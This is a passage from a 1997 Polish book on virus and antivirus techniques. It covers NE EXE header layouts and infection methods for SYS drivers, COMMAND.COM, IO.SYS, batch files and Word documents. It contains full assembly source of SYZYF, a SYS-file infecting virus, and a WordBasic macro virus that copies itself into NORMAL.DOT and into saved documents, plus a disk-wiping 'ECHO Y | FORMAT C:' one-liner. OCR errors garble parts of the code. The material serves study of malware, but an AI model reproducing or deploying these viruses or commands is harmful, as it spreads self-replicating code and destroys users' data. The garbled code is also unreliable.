programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS.
Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych
różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone,
a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi
uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych:
podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie
używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na
oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu,
zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu
chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi
stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy
OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych
informacji o tych systemach).
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy
na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa
pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego
systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie,
należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość
40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego
EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o
systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w
poniższej tabeli.
Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik
Docelowy system
NE
Windows lub OS/2 1.x, z podziałem na segmenty
LE
Windows virtual device driver (VxD) z liniowym adresowaniem (Linear
Executable)
LX
Wariant LE, używany przez OS/2 2.x
W3
Plik WIN386.EXE dla Windows; kolekcja plików LE
PE
Windows NT lub Win32s (Portable Executable)
DL
HP 100LX/200LX (Pliki *.EXM)
MP
Stare pliki PharLap (pliki *.EXP)
P2
PharLap 286 (pliki *.EXP)
P3
PharLap 386 (pliki *.EXP)
4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na
odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów
zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w
pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy
segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu
programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się
zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w
tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.
Format nagłówka plików nowy EXE (NE) dla Windows
Adres
Zawartość
00-01
znacznik pliku, bajty 'NE'
02-03
numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej
znacząca część)
04-05
offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest
następujący 00 liczba wejść (00, jeżeli koniec listy)
01 numer segmentu (00, jeżeli koniec listy)
02 pierwszy rekord
05 drugi rekord
.........
Każdy rekord ma format
00 flagi:
bit 0: EXPORTED
bit 1: SINGLE DATA
bity 2-7: nie używane
01-02 ofset w segmencie
06-07
długość (w bajtach) tablicy wejść
08-0B
kod korekcyjny (CRC) pliku
0C
flagi programu; znaczenie poszczególnych bitów
0-1 DGROUP
0 = nie ma
1 = SINGLE SHARED
2 = MULTIPLE (UNSHARED)
3 = (NULL)
2 bit globalnej inicjalizacji
3 program tylko dla trybu chronionego
4 program zawiera instrukcje 8086
5 program zawiera instrukcje 80286
6 program zawiera instrukcje 80386
7 program zawiera instrukcje 80x87
0D
flagi aplikacji; znaczenie poszczególnych bitów:
0-2 typ aplikacji
001 pełnoekranowa (bez Windows AP! dla trybu chronionego)
010 kompatybilna z Windows API dla trybu chronionego
011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla
OS/2
5 0=wykonywalna, 1=błędy w obrazie pliku
6 niezgodny typ programu (stos nie jest zachowywany)
7 plik DLL lub sterownik
(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR,
wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0
poprawna inicjalizacja)
0E-0F
indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty
lokalnej
12-13
inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS
14-17
wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów
18-1B
daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy
segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu
ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną
1C-1D
ilość segmentów 1 E-1 F ilość odwołań do modułów
20-21
długość (w bajtach) nierezydentnej tablicy nazw
22-23
offset względem początku nagłówka do tablicy segmentów, składającej się z
rekordów o formacie (pierwszy rekord ma numer 1):
00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3
nagłówka, aby uzyskać adres w bajtach)
02-03 długość obrazu pliku (0000h=64K)
04-05 atrybuty segmentu
0 segment danych
1 nie używane
2 REALMODE
3 ITERATED
4 MOVABLE
5 SHARABLE
6 PRELOADED
7 EXECUTE-CODE (kod) lub READ-ONLY (dane)
8 relokacje (bezpośrednio po kodzie w segmencie)
9 istnieją informacje dla debuggera
10,11 bity DPL dla 80286
12 DISCARDABLE
13-15 DISCARD PRIORITY
06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K)
24-25
offset względem początku nagłówka do tablicy zasobów
26-27
offset względem początku nagłówka do tablicy nazw rezydentnych
28-29
offset względem początku nagłówka do tablicy odwołań do modułów
2A-2B
offset względem początku nagłówka do tablicy nazw importowanych (tablica
łańcuchów typu string, zakończona łańcuchem o długości 0)
2C-2F
offset względem początku nagłówka do tablicy nazw nierezydentnych
30-31
ilość ruchomych punktów wejściowych zawartych w tablicy wejść
32-33
wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)
34-35
ilość wejść do tablic zasobów
36
docelowy system operacyjny
00h nieznany
01h OS/2
02h Windows
03h Europejska wersja MS-DOS 4.x
04h Windows 386
05h BOSS (Borland Operating System Services)
81h PharLap 286IDOS-Extender, OS/2
82h PharLap 286IDOS-Extender, Windows
37
dodatkowe flagi programu
0 używa długich nazw plików
1 tryb chroniony 2.X
2 proporcjonalna czcionka 2.X
3 0=gangload: nie ma, 1=gangload: jest
38-39
offset do strefy gangload
3A-3B
offset do segmentu odwołańi do strefy gangload
3C-3D
minimalny rozmiar kodu wymienialnego
3E-3F
spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza,
bardziej znacząca część jako druga)
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres
Zawartość
00-01
ilość rekordów w tablicy relokacji
02
kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8
bajtów i ma format:
00 typ rekordu
00 LOBYTE
02 BASE
03 PTR
05 OFFS
0B PTR48
0D OFFS32 01 flagi rekordu
bit 2: addytywny 02-03 offset w segmencie
04-05 docelowy adres segmentu
06-07 docelowy adres offsetu
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres
Zawartość
00-01
Wartość przesunięcia do dopasowania
02
Kolejne rekordy zasobów o formacie:
00-01 identyfikator
0000 koniec rekordów
>= 8000h typ INTEGER
w przeciwnym wypadku offset względem początku zasobów
do łańcucha
02-03 ilość zasobów danego typu
04-07 zarezerwowane
08 początek zasobów
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
00-01
ofset (w dopasowanych jednostkach) do zawartości zasobów
02-03
rozmiar zasobów w bajtach
04-05
flagi zasobów
bit 4: MOVEABLE
bit5:SHAREABLE
bit 6: PRELOADED
06-07
typ zasobów;
=8000 zasoby typu Integer
08-0B
zarezerwowane
Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres
Zawartość
00
ilość rekordów w paczce (0=koniec tablicy)
01
znacznik segmentu:
00 nie używany FF MOVEABLE lub FIXED
02
kolejne rekordy, każdy o formacie:
00 flagi
bit 0: wejście jest eksportowane
bit 1: wejście używa globalnych (współużywalnych) danych
bity 7-3: ilość stów parametrów dla segmentu FIXED
01-02 ofset dla segmentu MOVEABLE
01-02 INT 3F (kod instrukcji: CDh 3Fh)
03 numer segmentu
05-06 ofset
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres
Zawartość
00
długość łańcucha (00=koniec tablicy)
01-N
łańcuch ASCII
N+1-N+2
numer porządkowy w tablicy
Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji
przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Kod programu STUB
właściwy program dla Windows:
Nagłówek NE
Tablica segmentów
Tablice z danymi o zasobach
Kod programu dla Windows
Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS
Nagłówek programu STUB
Zmniejszony kod programu STUB
właściwy program dla Windows zarażony wirusem:
Nagłówek NE, cofnięty względem oryginalnej pozycji
Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o
segment wskazujący na kod wirusa (na końcu pliku)
Tablice z danymi o zasobach
Kod programu dla Windows
Kod wirusa
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą
rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie
startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95
także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje
funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla
uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane
dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze
sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość
Nagłówek pliku SYS (patrz następna tabela)
Kod sterownika
Format nagłówka pliku SYS
00-03
Wskaźnik do następnego programu obsługi urządzenia, standardowo ==
0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik.
Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres
kolejnego sterownika w pliku.
04-05
Atrybuty urządzenia, informują o przeznaczeniu sterownika
06-07
Adres procedury strategii (względem początku nagłówka). Procedura strategii
służy do odebrania pakietu zlecenia od systemu DOS.
08-09
Adres procedury przerwania (względem początku nagłówka), która na
podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje
odpowiednie czynności,
0A-0F
Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia
blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).
Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w
polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje
dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku
zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi
natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu
programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie
faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS,
wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na
koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do
zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań).
Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi
działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi
trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania
Kod sterownika
Kod wirusa
Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego
sterownika w pliku
Kod sterownika
Nagłówek fałszywego sterownika (wirusa)
Kod wirusa
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki
SYS.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; SYZYF v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow SYS
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;
;
; Kompilacja :
;
; TASM SYZYF.ASM
;
; TLINK SYZYF.OBJ
;
; MAKESYS SYZYF.EXE
;
;
;
;----------------------------------------------------------------
------------;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje
PSP
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends
NAGL struc
NAGLAdres dd ? ; Adres nastepnego
sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi
strategii
NAGLPrzerwanie dw ? ; adres obslugi
przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends
Start:
SYSNagl NAGL
<0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek
VirusStart: ; tu zaczyna sie kod
wirusa
ProceduraPrzerwania:
push ax ; \
push bx ; \
push cx ; \ zachowaj
push dx ; \ zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /
Call Trik
Trik:
pop si
sub si,offset Trik
push cs ; \ DS=CS
pop ds ; /
mov ax,[si][StarePrzerwanie] ; zachowaj adres do
nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs
lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa
jnc Infekcja ; gdy CF=1, nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
mov ah,2Fh ; funkcja DOS -
pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny
adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go
przywrocic
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaSYS] ; maska poszukiwanych
plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepny
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza
czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz
65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj
nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc
pliku
cmp ax,64000 ; czy dlugosc <= 64000
?
ja SzukajNastepnyPlik ; nie - szukaj
nastepnego
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov cx,size NAGL ; ilosc czytanych
bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku
do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]
cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego
plik
cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny
plik
; TAK - na poczatku
pliku jest
; 0FFFFFFFFh
mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov [si][CzytNAGL.NaglPrzerwanie],ax
mov cx,VirusDlug ; ilosc zapisywanych
bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ CX:DX zawieraja
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,size NAGL ; ilosc zapisywanych
bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne
DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
pop es ; \
pop ds ; \
pop di ; \ przywroc
pop si ; \ zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /
db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?
MaskaSYS db '*.SIS' ; maska plikow SYS
(ASCIIZ)
; Czesc Informayjna ; wyswietla pytanie do
uzytkownika
Informacja: ; czy chce uruchomic
wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak
komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania
mov ah,0Eh ; pisz znak z AL
int 10h ;
jmp short NastepnyZnak
InformacjaTxtOK:
mov ah,0
int 16h
and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
pop si ax
ret ; powrot
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>
ProceduraStrategii: ; na wejsciu ES:BX
adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i
zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej
retf ; powrot z procedury
; strategii
AdresZlecenia dd ?
Nosiciel:
push ds ax bx
lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres
pakietu
; zlecenia
xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;
pop bx ax ds
retf
SYZYF ENDS
END Start
4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega
tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych
wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w
otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu
DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po
znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego
kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W
rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z
interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a
wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto
pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar
przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam
kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku
niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej
realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym
sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze
bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako
sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie
komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w
innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku
IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie
przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i
oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują
pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).
Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni
wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej
destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia
przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana
przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika
jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację.
W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować,
iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie
sformatowany.
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych
plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt
miłymi konsekwencjami.
4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy
przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten
program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać
już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program
ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej,
znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub
zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro
AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku
NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych
stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany
(zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na
przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego
makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może
zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra
Opis makra
AutoExec
uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem
z szablonu globalnego zawartego w pliku NORMAL.DAT
AutoNew
uruchamiane podczas tworzenia nowego dokumentu
AutoOpen
uruchamiane podczas otwierania dokumentu
AutoClose
uruchamiane podczas zamykania dokumentu
AutoExit
uruchamiane podczas kończenia pracy z Wordem
Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który
składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików
DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT
dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w
rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych
makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację
tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ,
Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie
wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie
operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaŠ ?" TiN = 256
+48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy
WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siŕ do NORMAL.DOT, Sam tego chcia│eť !!!",
Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaŠ '" +
WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siŕ do '" + WindowName$() + "'" MsgBox
Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla
